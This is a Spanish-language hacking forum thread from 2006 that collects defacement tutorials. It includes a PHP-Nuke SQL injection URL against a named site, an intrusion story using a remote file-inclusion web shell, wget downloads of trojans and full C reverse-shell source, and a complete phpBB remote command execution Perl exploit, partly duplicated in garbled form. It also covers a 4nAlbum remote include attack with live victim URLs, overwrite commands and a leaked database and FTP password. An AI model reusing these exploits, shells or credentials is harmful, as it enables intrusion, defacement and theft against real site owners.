hackers! Bienvenido(a), Visitante. Por favor, ingresa o regístrate.
¿Perdiste tu email de activación?
15 de Marzo de 2010, 11:14:40
Inicio Buscar Ayuda Ingresar Registrarse
Noticias: ¿Quieres usar GNU/linux y no sabes como? Entonces haz click > AQUÍ <
Gracias gente :
Ecuador!Guatemala!!UruguayBrasilRepublica DominicanaBolivia *USAColombia!ESPAÑA!Venezuela!Chile **El Peru!ArgentinaMexico
+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Hacking (Moderadores: Nyx, Elprince, kamui23, Rcart, messerschmitt)
| | |-+  Manuales de defacing
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Manuales de defacing  (Leído 22798 veces)
Que buscas?..
sdrako
Visitante
« : 26 de Enero de 2006, 12:16:26 »

pos bueno aki publikare algunos manuales q encontre por la red por supuesto no son hechos por mi jijijij tampoco son la gran novedad pero para ir metiendose en este tema creo q es lo basiko.. espero lo disfruten...  el autor y fuente viene con cada guia esta demas decir q esto es con un fin educativo..



Hackeando web's en PHP 6.9 o menos
 
Bien, la explicacion a continuacion consiste en Nuke Inyeccion, es una clase de defaced

que permite que se agregue un administrador mas a un sitio php nuke version 6.9

o posterior....

Bien lo primero que tenemos que hacer es buscar una web (victima) cuya web (php) sea de

version 6.9 o posterior, para el manual encontre la web siguiente:

http://www.pasionflamenca.com/

(Nota: Esta web fue elegida al azar para la explicacion, no me hago responsable

si es hackeada....)

Luego de que se encuentre el website a defacear se REPLACEa en la direccion html la siguiente cadena:

modules.php?name=Search&type=comments&%20%20%20query=

loquesea&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/

**/nuke_authors

Quedaria algo como asi: Para la web de arriba

http://www.pasionflamenca.com/modules.php?name=Search&type=comments

&%20%20%20query=loquesea&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,

aid/**/FROM/**/nuke_authors

Ok, ella nos proporcionaria el nombre de usuario y el pass en md5 de los administradores

de ese website...
en el caso del que escogimos seria este:

66ad52318087f29b3ba fc774c0166478
Enviado por waxx el Thursday, 01 January a las 00:59:59
Adjuntar al Artículo:
(0 responde)

Donde: 66ad52318087f29b3ba fc774c0166478 (Es el pass del admin.php encriptado en Md5)
"waxx" (Es el nombre "Login" del admin.php de la web atacada)

Con estos datos podemos hacer dos cosas:

1) Bajar el Cain para desencriptar el pass md5 y accesar a la web

2) Ir a la siguiente web, en esta direccion:

http://www.darkblack.gratishost.com/inyeccion2.php
y agregar los datos tal cual te lo pide el formulario, y listo... ya podras entrar en la web a

hackear como administrador.


Intrusion real en un .edu




Intrusion Real
by DarkBicho


Esta vez voy a explicar un hecho real por razones de seguridad no dare ningun
dato que pueda sacar a la pagina web.

Un dia en una de mis charlas por el irc me encuentro con un administrador de
una muy conocida web. Este me habla de su servidor y que era super seguro
tenia firewall y estaba parcheado con todos los parches salidos hasta esta
epoca lo felicite y por ahi dijo la palabra te reto a que entres y pues
acepte y con sus condiciones de que no lo publique en zone-h aunque con un
termino burlon como quien dice nunca lo lograras. bueno ok pero no dije nada
de no publicarlo en el ezine hahahaha.

Al diga siguiente llegando de la universidad entre a Internet y me puse a ver
el servidor me puse hacer las clasicas movidas de alguien pasarle un scanner
completo y encontre que el server corre en linux no voy a decir la version
por que lo sacan al toque cual es la web me doy con que no me saca ningun
error y me decia a mi mismo es seguro pero bueno era un reto que podia a ser
segui investigando y investigando comenze analizar sus scripts y bueno no
encontraba nada.

Comenze a aplicar inyeccion por todos lados metiendo las clasicas cadenas
"or", "=", "    ´". Nada de nada me estoy rindiendo en eso agarro el fabuloso
google que ya ReYDeS ha sacado un manual sobre eso. Que hize con google puse
la siguiente lineas en buscar

--------------------- GOOGLE -----------------------------
"index.php" site: ***.com
----------------------------------------------------------

Que hago con esto trato de buscar index.php dentro de el "site ***.com".
Bueno me salio el clasico index de la pagina de inicio y paginas entre ellas
una carpeta que era asi:

/demo/scripts/

Que habia aca varios scripts que supongo que el admin. Puso para probarlos
entre estos encontre el ARTMEDIC HPMAKER es un scripts gratuito. Lo puedes
bajar desde: http://www.artmedic-webdesign.de/hp-maker/

Bueno sigamos al ver este scripts y ver que los demas scripts era un phpbb y
yabbb no encontre fallos me puse a ver el ARTMEDIC HPMAKER y aca viene todo
lo lindo por 1 hora me puse analizar este codigo haber si podia encontrar una
falla en este scripts encontre la siguiente linea:


----------------------- CODIGO ---------------------------
if(!isset($_GET[    ´p    ´])) {include("start.htm");}
else
{include("$_GET[p]");}
?>
----------------------------------------------------------

Bueno en termino cristianos que significa significa que utiliza el "p" para
hacer llamamiento a la pagina star.htm pero como vez tiene dos opciones una
de ellas la else hace un "p" pero no dice cual pagina lo que quiere decir que
puedes hacer llamamiento a cualquier web. Abajo en la nota pongo el advisory
que saque apartir de esto.

Bueno luego puse lo siguiente en el explorador

http://***.edu.pe/demo/scripts/hpmarket/index.php?p=../../../../../../../../etc/passwd

Y que creen que me salio todo el archivo /etc/passwd

Hasta aca ya di un gran paso para poder penetrar a este servidor que hize
despues para el paso siguiente utilize esto:


--------------------- CMD.PHP ----------------------------
system($cmd);
?>
-----------------------------------------------------------

Bueno que es esto un archivo cmd.php que subi a mi hosting gratuito que tengo
por ahi en iespana este cmd.php lo enlace con la web que dije anteriormente:

http://***.com/index.php?p= http://www.iespana.es/darkbicho/cmd.php&cmd=uname%20-a

Que me dio con esto en la ventana del browser:

Linux ****.***.com 2.4.18-27.7.xsmp #1 SMP Fri Mar 14 05:52:30 EST 2003 i686 unknown

Bueno feliz tengo la version del kernel mm algo antigua no la mayoria de
administradores parcha sus servicios pero no parchan su kernel por ser algo
tedioso. Pero bueno sigamos de ahi procedi a subir un troyano al server:

cmd.php&cmd=cd%20/tmp/;wget www.iespana.es/darkbicho/tutroyano

"en esta linea use el wget para bajar el troyano que es un binario"

cmd.php&cmd=cd%20/tmp;chmod%20777%20tutroyano

"aca le di permisos de ejecucion al troyano"

cmd.php&cmd=cd%20/tmp;./ tutroyano

"aca ejecute el troyano"

Bueno ejecute el nc en mi computadora al puerto que configure en mi troyano

nc ****.com 9500

hmm no entraba se cerraba la conexion bueno me acorde que el administrador me
dijo que su server tenia un firewall mmm. Bueno voy a darles un metodo para
subir un troyano aunque este tenga un firewall instalado.

El codigo es el siguiente:

------------------------ COTAR AQUI ---------------------------------
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
char *host;
int port = 80;
int f; int l;
int sock;
struct in_addr ia;
struct sockaddr_in sin, from;
struct hostent *he;
char msg[ ] = "Connect Back Shell "
"Issue "export TERM=xterm; exec bash -i" "
"For More Reliable Shell. "
"Issue "unset HISTFILE; unset SAVEHIST" "
"For Not Getting Logged. (; ";
printf("Connect Back Backdoor ");
if (argc < 2 || argc > 3) {
printf("Usage: %s [Host] ", argv[0]);
return 1;
}
printf("
  • Dumping Arguments ");
l = strlen(argv[1]);
if (l <= 0) {
printf("[-] Invalid Host Name ");
return 1;
}
if (!(host = (char *) malloc(l))) {
printf("[-] Unable to Allocate Memory ");
return 1;
}
strncpy(host, argv[1], l);
if (argc == 3) {
port = atoi(argv[2]);
if (port <= 0 || port > 65535) {
printf("[-] Invalid Port Number ");
return 1;
}
}
printf("
  • Resolving Host Name ");
he = gethostbyname(host);
if (he) {
memcpy(&ia.s_addr, he->h_addr, 4);
} else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {
printf("[-] Unable to Resolve: %s ", host)
return 1;
}
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = ia.s_addr;
sin.sin_port = htons(port);
printf("
  • Connecting... ");
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("[-] Socket Error ");
return 1;
}
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {
printf("[-] Unable to Connect ");
return 1;
}
printf("
  • Spawning Shell ");
f = fork( );
if (f < 0) {
printf("[-] Unable to Fork ");
return 1;
} else if (!f) {
write(sock, msg, sizeof(msg));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/sh", "shell", NULL);
close(sock);
return 0;
}
printf("
  • Detached ");
return 0;
}0; }
------------------------------------------------------------------------

Bueno, bueno sigamos antes de subirlo quize ver algo en el servidor:

cmd.php&cmd=gcc

No se puede compilar nada de nada maldicion bueno compile el troyano de
arriba en mi linux lo subi a mi servidor ftp gratuito y procedi a bajarlo:

cmd.php&cmd=cd%20/tmp/;wget www.iespana.es/darkbicho/back

"en esta linea use el wget para bajar el troyano que es un binario"

cmd.php&cmd=cd%20/tmp;chmod%20777%20back

"aca le di permisos de ejecucion al troyano"

Bueno antes que nada el troyano su funcionamiento es el siguiente


---------------- MODO DE USO ---------------------------
Usage: %s [Host]
--------------------------------------------------------

Eso quiere decir que tienes que poner tu ip y el Puerto por donde vas a
recibir la shell para eso tenemos que abrir el puerto en nuestra maquina esto
lo vamos hacer utilizando el netcat:

nc -L -vv -p 3100

cmd.php&cmd=cd%20/tmp;./back%20[mi ip]%203100

"con las lineas de arriba ejecute el troyano dirigiendolo al puerto 3100 de
mi pc"

Ahora en mi ventana del netcat aparecio la shell Cheesy

Bueno luego de todo lo que paso arriba y ya tener la shell en mi ventana del
netcat procedi a tratar de obtener root en el servidor ya siendo las 3 de las
ma~ana y con 3 horas frente a la maquina tratando de romper todo lo que dije
arriba.

Luego subi el famoso ptrace mi fiel arma en todo el metodo para subirlo es el
mismo del troyano lamentablemente no tengo permisos para compilar asi que lo
subi en binario bueno sigamos.

chmod 777 ptrace
./ptrace
id
uid=0(root) gid=0(root)

Mis manos y mi mente estuvieron ahi al ver el root ya siendo las 3:10 de la
ma~ana procedi a ir ala carpeta web:

cd /home/web/public_html/
echo JEJEJE DarkBicho>bic.txt
exit

Sali del servidor no limpie logs ni nada por que user proxy y ademas el ip de
la shell era un bouncer bueno aparte queria que el admin vea como pude
penetrar en su servidor y tomar las medidas de seguridad.

Al dia siguiente en el mismo canal del irc ya en la noche.

------------------------ IRC ------------------------------
webmaster:
y que paso
DarkBicho:
Chesu la verdad tienes mucha razon no puedo
webmaster:
lo sabia yo con dos amigos nos encargamos de ese
servidor ni fregando entrarias es mucho para ti
DarkBicho:
Asi es
DarkBicho:
pero bueno http://www.****.com/bic.txt
webmaster:
queee!
DarkBicho:
Por siaca deje los logs ahi para que veas como fue
webmaster:
ahorita mismo lo veo como m.. lo hiciste
--------------------------------------------------------------

Bueno con esto solo quiero decir que entrar a un servidor no es tan simple
como esto:

---------------------- CLASICO ---------------------------

gcc -o ex explo.c
./ex
id
uid=0(root) gid=0(root)

--------------------------------------------------------------

Bueno a veces funciona Cheesy se los aseguro pero hay mas y creo que me gusta mas
cuando las cosas se ponen dificiles.

Nota:
    ´    ´    ´    ´
En la falla de arriba puedes encontrar mi Advisory en :

http://bichosoft.webcindario.com/advisory-01.txt
http://secunia.com/advisories/11475/
http://www.securitytracker.com/alerts/2004/Apr/1009930.html
http://www.swp-zone.org



 







En línea
sdrako
Visitante
« Respuesta #1 : 26 de Enero de 2006, 12:18:01 »

Remote Command Execution en PhpBB 2.0.10
 
Este si es un bug algo mas reciente (3 semanas). Consiste en un error el

archivo viewtopic.php de los populares foros phpbb2, este bug puede ser

utilizado para obtener una shell remota del servidor web y ejecutar comandos en

el mismo

Este exploit sirve para ver las carpetas y archivos que contiene phpbb 2.0.10

remotamente.

Este es el codigo del exploit.
 

Código:

#!/usr/bin/perl
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## P.S. this code public after phpbb.com was defaced by really stupid man with nickname

     tristam
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## fucking lamaz...
##
## ccteam.ru
## $dbname = "ccteam_phpbb2";
## $dbuser = "ccteam_userphpbb";
## $dbpasswd = "XCbRsoy1";
##
## eat this dude...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (@ARGV < 4)
{
print q(############################################################
phpBB <=2.0.10 remote command execution exploit
by RusH security team // www.rst.void.ru
############################################################
usage:
r57phpbb2010.pl www.phpbb.com
[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls or "ls -la"
############################################################
);
exit;
}

$serv = $ARGV
;
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%

54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%

2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort =>

"80") || die "[-]
CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

\r\n"; exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###


Lo guardas en un archivito de texto con el nombre que quieras, pero con la extension .pl

y lo ejecutas en una shell con perl asi:


shell@10:~$ perl bug.pl [url]http://foro.xxxxx.com/phpBB/" target="_blank"> [DIR] [NUM]

[CMD]
params:
http:// - server url e.g. [url=http://www.phpbb.com]www.phpbb.com
[DIR] - directory where phpBB installed e.g. /phpBB/ or /
[NUM] - number of existing topic
[CMD] - command for execute e.g. ls or "ls -la"
############################################################
);
exit;
}

$serv = $ARGV
;
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%

54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%

2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort =>

"80") || die "[-]
CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

exit(); }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###


Lo guardas en un archivo de texto con el nombre que quieras, pero con la extension .pl y

lo ejecutas en una shell con perl asi:

shell@10:~$ perl bug.pl [url]http://foro.xxxxx.com/phpBB/ 124 "ls"

total 500
## drwxr-xr-x 12 dhn phpbb 896 Oct 13 18:23 .
## drwxrwxr-x 19 root phpbb 1112 Nov 12 15:08 ..
## drwxr-xr-x 2 dhn phpbb 152 Oct 13 18:23 CVS
## drwxr-xr-x 3 dhn phpbb 944 Jul 19 15:17 admin
## drwxrwxrwx 5 dhn phpbb 160 Aug 14 21:19 cache
## -rw-r--r-- 1 dhn phpbb 44413 Mar 11 2004 catdb.php
## -rw-r--r-- 1 dhn phpbb 5798 Jul 19 15:17 common.php
## -rw-r--r-- 1 root root 264 Jul 2 08:05 config.php
## drwxr-xr-x 3 dhn phpbb 136 Jun 24 06:40 db
## drwxr-xr-x 3 dhn phpbb 320 Jul 19 15:17 docs
## -rw-r--r-- 1 dhn phpbb 814 Oct 30 2003 extension.inc
## -rw-r--r-- 1 dhn phpbb 3646 Jul 10 04:21 faq.php
## drwxr-xr-x 2 dhn phpbb 96 Aug 12 14:59 files
## -rw-r--r-- 1 dhn phpbb 45642 Jul 12 12:42 groupcp.php
## drwxr-xr-x 7 dhn phpbb 240 Aug 12 16:22 images
## drwxr-xr-x 3 dhn phpbb 1048 Jul 19 15:17 includes
## -rw-r--r-- 1 dhn phpbb 14518 Jul 10 04:21 index.php
## drwxr-xr-x 60 dhn phpbb 2008 Sep 27 01:54 language
 

Deface en 4nAlbum




############################################################################

*/ http://Http://Www.DefacersMexico.Org */ | Defacing with 4nAlbum

############################################################################

sh-2.05b$ ./ Escrito por Status-x [ phr4xz@gmail.com ] - Mexico

############################################################################


****************************************************************************


[ Contenido ]


[ 1 ] .- Introduccion....... ................... ................... . Status-x

[ 2 ] .- Que es 4nAlbum............ ................... ............. Status-x

[ 3 ] .- Buscando Victimas........... ................... ........... Status-x

[ 4 ] .- Explorando el Bug................ ................... ...... Status-x

[ 5 ] .- Tips De Deface............. ................... ............ Status-x

[ 6 ] .- Arreglando el Bug................ ................... ...... Status-x

[ 6 ] .- Herramientas....... ................... ................... . Status-x

[ 7 ] .- Despedida.......... ................... ................... . Status-x


****************************************************************************




############################################################################

sh-2.05b$ ./ Introduccion

############################################################################

Tal vez noten que el Tutorial y el Bug son bastante parecidos esto es debido

a que los dos sistemas tienen la misma base y por lo tanto el mismo bug,

sin embargo esta vez el tip de deface sera diferente Wink Comenzemos



############################################################################

sh-2.05b$ ./ Que es 4nALbum

############################################################################


4nAlbum es un sistema desarrollado originalmente para Php-Nuke con

algunas caracteristicas especiales como:

- Soporte de Imagenes

- Soporte de Archivos de Audio y Video

- Organizacion por Categorias y Subcategorias


El lenguaje original en que fue creado es Ingles y Aleman, es un sistema GNU

y esta programado en PHP.



############################################################################

sh-2.05b$ ./ Buscando Victimas

############################################################################


La parte mas tediosa de todo esto jejeje, bien para esto usaremos el fiel

Google: http://www.google.com.mx


En nuestro criterio de busqueda usaremos una funcion de Google que nos sirve

para encontrar archivos o URLS especificos:


allinurl: modules.php?name=4nAlbum


Con los cual nos quedaria de resultado una URL como esta en la cual aparece

ran todas las webs que contengan esa url Wink

-------------------------------------------------------------------------
http://www.google.com.mx/search?hl=es&q=allinurl%3A+modules.php%3Fname%3D
4nAlbum&meta=
-------------------------------------------------------------------------

Y listo ya tenemos una amplia lista de sitios los cuales explorar Wink


############################################################################

sh-2.05b$ ./ Explorando el Bug

############################################################################


Bien el fallo radica en el mismo archivo que en My_eGallery con lo cual el

codigo erroneo es el siguiente::

--------------------------------------------------
include ("$basepath/public/imageFunctions.php");

include ("$adminpath/fileFunctions.php");
--------------------------------------------------

Con lo que podremos incluir archivos y ejecutar comandos *NIX de la siguiente

manera:

-----------------------------------------------------------------------------
http://victima.com/modules/4nAlbum/public/

displayCategory.php?basepath=http://atacante/cmd.gif?&cmd= AQUI COMANDO LINUX
-----------------------------------------------------------------------------

Bien pongamos un ejemplo real:

-------------------------------------------------------------------
http://www.rotak.ru/modules/4nAlbum/public/displayCategory.php
?basepath=http://mx.geocities.com/razorkron/cmd.txt?&cmd=ls
-------------------------------------------------------------------


en donde ls es nuestro comando Linux y sirve para:


ls - enlista los archivos y directorios existentes


Y como vemos nos muestra la lista de archivos:


---------------------
displayCategory.php
displayMedia.php
displayMedia.php.ba k
displayTop.php
functions.php
imageFunctions.php
index.html
mainGallery.php
nmimage.php
search.php
uploadFile.php
---------------------

Tambien nos muestra datos del servidor, y en este caso vemos que tenemos

permisos de escritura con lo cual el deface sera mas sencillo:


---------------------------------------------------------------------
sysname: FreeBSD
nodename: pm1.zenon.net
release: 4.8-STABLE
version: FreeBSD 4.8-STABLE #0: Thu May
machine: i386
Usuário: uid(45949) euid(45949) gid(310)
Diretório Atual: /bhome/part2/01/rotak/www/modules/4nAlbum/public
Permissão de Escrita: Sim
Servidor: Apache/1.3.27 (Unix) mod_perl/1.26 PHP/4.3.10 AuthMySQL/2.20
----------------------------------------------------------------------


Y como mencione tenemos permisos de escritura ya que nuestra id de

usuario es diferente:


--------------------------
Permissão de Escrita: SIM
--------------------------


El comando a utilizar para hacer nuestro deface seria el siguiente:


---------------------------------------------------------------
cd /bhome/part2/01/rotak/www/;echo Status-x Ownz You >index.html
---------------------------------------------------------------


Con lo cual nuestro deface se veria en la pagina principal, veamos que es

lo que hace cada comando:


cd ----------> Cambias de directorio - Ejemplo:


------------------

cd /home -------> Nos cambiamos al directorio home Smiley

------------------


echo -----------> Escribe sobre el contenido de un archivo


------------------

echo Status-x >index.php - Indicamos que queremos escribir Status-x en el

archivo index.php

------------------


Nuestro deface se veria en la pagina principal, esta vez me tuve que abstener

de hacer el deface ya que en la pagina principal la vulnerabilidad seria

arreglada y ustedes no podrian practicar por lo que recomiendo ejecutar

el siguiente comando para crear nuestro propio archivo:



---------------------------------------------------------------
cd /bhome/part2/01/rotak/www/;echo Status-x Ownz You >status-x.txt
---------------------------------------------------------------


Y listo nuestro deface se vera en:


--------------------------------

http://www.rotak.ru/status-x.txt

--------------------------------


############################################################################

sh-2.05b$ ./ Tips de Deface

############################################################################


*/ Adivinando el Password del Ftp


Esta vez un tip que tal vez a muchos ya se les haya ocurrido a algunos tantos

tal vez no Smiley bien en dado caso de que no tengamos permisos en el sitio Web

( esto tambien aplica para la vulnerabilidad de My_eGallery ) podemos saber

el password del FTP y asi poder hacer nuestro deface, comenzemos:



Como hemos visto los dos bugs vistos han sido detectados en sistemas

PHP-Nuke y PostNuke y por lo tanto estos sistemas siempre tienen un config.php


El config.php es un archivo que nos muestra la configuracion de la base de

datos asi como del sistema:


- Usuario

- Password

- Datos Generales del Sistema


Bien utilizemos como ejemplo la web a la que le acabamos de hacer el deface:


Si vemos este apartado en el ejecutor de comandos:



-----------------------------------------------------------------

Diretório Atual: /bhome/part2/01/rotak/www/modules/4nAlbum/public

-----------------------------------------------------------------


Veremos el directorio en el que nos encontramos posicionados, nos cambiaremos

al directorio que tiene el archivo config.php, este directorio siempre es el

que esta inmediatamente ANTES del directorio modules en este caso es el

directorio www


------------------------------------------------
/bhome/part2/01/rotak/www/modules/4nAlbum/public
------------------------------------------------

|

Aqui esta el directorio www




Entonces utilizaremos la siguiente secuencia de comandos para poder cambiar

nos al directorio y LEER el archivo config.php:


------------------------------------------------
cd /bhome/part2/01/rotak/www/;cat config.php
------------------------------------------------


El comando cat nos sirve para visualizar el contenido de cualquier archivo,

por lo tanto nos mostrara TODO el contenido del config.php, el cual sera

el siguiente:




---------------------------------------------------------------------------


######################################################################
# PHP-NUKE: Advanced Content Management System
# ============================================
#
# Copyright (c) 2002 by Francisco Burzi (fbc@mandrakesoft.com)
# http://phpnuke.org
#
# This module is to configure the main options for your site
#
# This program is free software. You can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License.
######################################################################

######################################################################
# Database & System Config
#
# dbhost: SQL Database Hostname
# dbuname: SQL Username
# dbpass: SQL Password
# dbname: SQL Database Name
# $prefix: Your Database table's prefix
# $user_prefix: Your Users' Database table's prefix (To share it)
# $dbtype: Your Database Server type. Supported servers are:
# MySQL, mysql4, postgres, mssql, oracle, msaccess,
# db2 and mssql-odbc
# Be sure to write it exactly as above, case SeNsItIvE!
# $sitekey: Security Key. CHANGE it to whatever you want, as long
# as you want. Just don't use quotes.
######################################################################

$dbhost = "baze.zenon.net:64000";
$dbuname = "rotak";
$dbpass = "M9toScF4yZ";
$dbname = "rotak";
$prefix = "nuke1";
$user_prefix = "nuke";
$dbtype = "MySQL";
$sitekey = "Rotak-Okna-SdFk*fa28367-dm56w69.3a2fDS+e9iwkmd+klsdnflksnk";

/*********************************************************************/
/* You finished to configure the Database. Now you can change all */
/* you want in the Administration Section. To enter just launch */
/* you web browser pointing to http://yourdomain.com/admin.php */
/* */
/* Remeber to go to Settings section where you can configure your */
/* new site. In that menu you can change all you need to change. */
/* */
/* Congratulations! now you have an automated news portal! */
/* Thanks for choose PHP-Nuke: The Future of the Web */
/*********************************************************************/

// DO NOT TOUCH ANYTHING BELOW THIS LINE UNTIL YOU KNOW WHAT YOU'RE DOING

$reasons = array("As Is",
"Offtopic",
"Flamebait",
"Troll",
"Redundant",
"Insighful",
"Interesting",
"Informative",
"Funny",
"Overrated",
"Underrated");
$badreasons = 4;
$AllowableHTML = array("b"=>1,
"i"=>1,
"a"=>2,
"em"=>1,
"br"=>1,
"strong"=>1,
"blockquote"=>1,
"tt"=>1,
"li"=>1,
"ol"=>1,
"ul"=>1);
$CensorList = array("fuck",
"cunt",
"fucker",
"fucking",
"pussy",
"cock",
"c0ck",
"cum",
"twat",
"clit",
"bitch",
"fuk",
"fuking",
"motherfucker");
$tipath = "images/topics/";
if (eregi("config.php",$_SERVER['PHP_SELF'])) {
Header("Location: index.php");
die();
}

?>

---------------------------------------------------------------------------





y Como podemos ver ahi se encuentra el User y Password de la base de datos

sin embargo estos generalmente coinciden con el user y password del FTP,

cabe mencionar que estos datos NO siempre son los mismos del FTP por lo que

si no te puedes loguear al FTP no tendras mas remedio que hacer el deface

en un subdirectorio.


----------------------------------------------------------------------------
$dbhost = "baze.zenon.net:64000";
$dbuname = "rotak"; <--------------User del FTP
$dbpass = "M9toScF4yZ"; <--------------Password del FTP
$dbname = "rotak";
$prefix = "nuke1";
$user_prefix = "nuke";
$dbtype = "MySQL";
$sitekey = "Rotak-Okna-SdFk*fa28367-dm56w69.3a2fDS+e9iwkmd+klsdnflksnk";
----------------------------------------------------------------------------


Entonces procedemos a loguearnos en el FTP:



--------------
http://ftp://rotak.ru
--------------

User: rotak

Password: M9toScF4yZ




Y en este caso vemos que el servidor al parecer no permite loguearse al FTP

sin embargo este metodo es muy eficiente cuando no tenemos permisos

de escritura en el servidor Wink, espero que les haya gustado este tip

nuevamente de parte de Status-x Wink



############################################################################

sh-2.05b$ ./ Arreglando el Bug

############################################################################


Es estupido dejar tu mail al admin para supuestamente ayudarlo y al final

no ayudarlo en absolutamente nada, sino simplemente contestandole:


Im a 1337 hax0r, y0u suck admin


Asi que mejor le echaremos una manita y le ayudaremos a arreglar el Bug.


Como ya habiamos dicho el Bug se encuentra en el archivo displayCategory.php

en las siguientes lineas,


------------------------------------------
("$basepath/public/imageFunctions.php");

include ("$adminpath/fileFunctions.php");
------------------------------------------


Las cuales debemos sustituir por las siguientes:


----------------------------------------------------------
include ("modules/4nAlbum/public/imageFunctions.php");

include ("admin/modules/gallery/fileFunctions.php");
----------------------------------------------------------


Y listo nuestra vulnerabilidad esta arreglada.



############################################################################

sh-2.05b$ ./ Herramientas

############################################################################


Las herramientas utilizadas fueron las siguientes:



Ejecutor de Comandos Linux - http://mx.geocities.com/razorkron/cmd.txt

Realizado por Infektion Group de Brasil - Contacto: infektion@linuxmail.org


Buscador Google - http://www.google.com



############################################################################

sh-2.05b$ ./ Despedida

############################################################################


Bien pues este es el 3er texto que sale de mis manos, como les mencione al

principio la tecnica es practicamente la misma que el anterior tutorial solo

que esta vez nuestro deface se podra ver en el directorio principal


Nuevamente gracias a todos los que me apoyan y bueno algunos saludos especia

les a las personas que han colocado mis textos en sus websites:


AgresSor - Www.Tbc-Labz.Org


Megabyte - Www.Mbytesecurity.O rg


Espero que hayan aprendido algo de este tutorial y bueno esperen el siguiente

la proxima semana.



CONTACTO: phr4xz@gmail.com

WEBSITE: http://www.defacersmexico.org

MSN: phr4xz@gmail.com



Saludos a toda la scene mexicana Wink


############################################################################

sh-2.05b$ ./ exit

Copyright 2005 Defacers Mexico - No modificar sin permiso de su autor


Si publicas este texto en tu sitio por favor no lo modifiques Wink

############################################################################




En línea
sdrako
Visitante
« Respuesta #2 : 26 de Enero de 2006, 12:19:11 »

Otro mini tutorial pero efectivo para realizar este defaced.

 
| Introduccion |


Saludos, esta vez les traigo una tecnica de deface que da muy

buenos resultados Sonrisa, se trata del deface en ACart, espero que

todavia encuentren sitios vulnerables jejeje, quiero dar las

gracias a los que han apoyado con diseños, etc, me siento feliz

porque los tutoriales han tenido buena aceptacion entre todos

los que se dedican al deface Gi&ntilde;ar, por cierto ascendi un lugar en

el Top de Zone-H ahora estoy en el lugar 29 Gi&ntilde;ar.


http://zone-h.org/en/hallofshame


*/=============================================================


| Buscando Victimas |


El fallo lo encontraremos en: acart.pl, buscaremos webs en

google buscando solamente acart.pl, y nos saldra una lista de

sitios a los cuales podermos hacerles un deface


*/=============================================================


| Explorando Bug |


Bien el fallo como ya mencione se encuentra en el archivo acart.pl

el cual se encuentra en el directorio /cgi-bin/acart/acart.pl

este archivo hace mal el include de un archivo con extension .htm

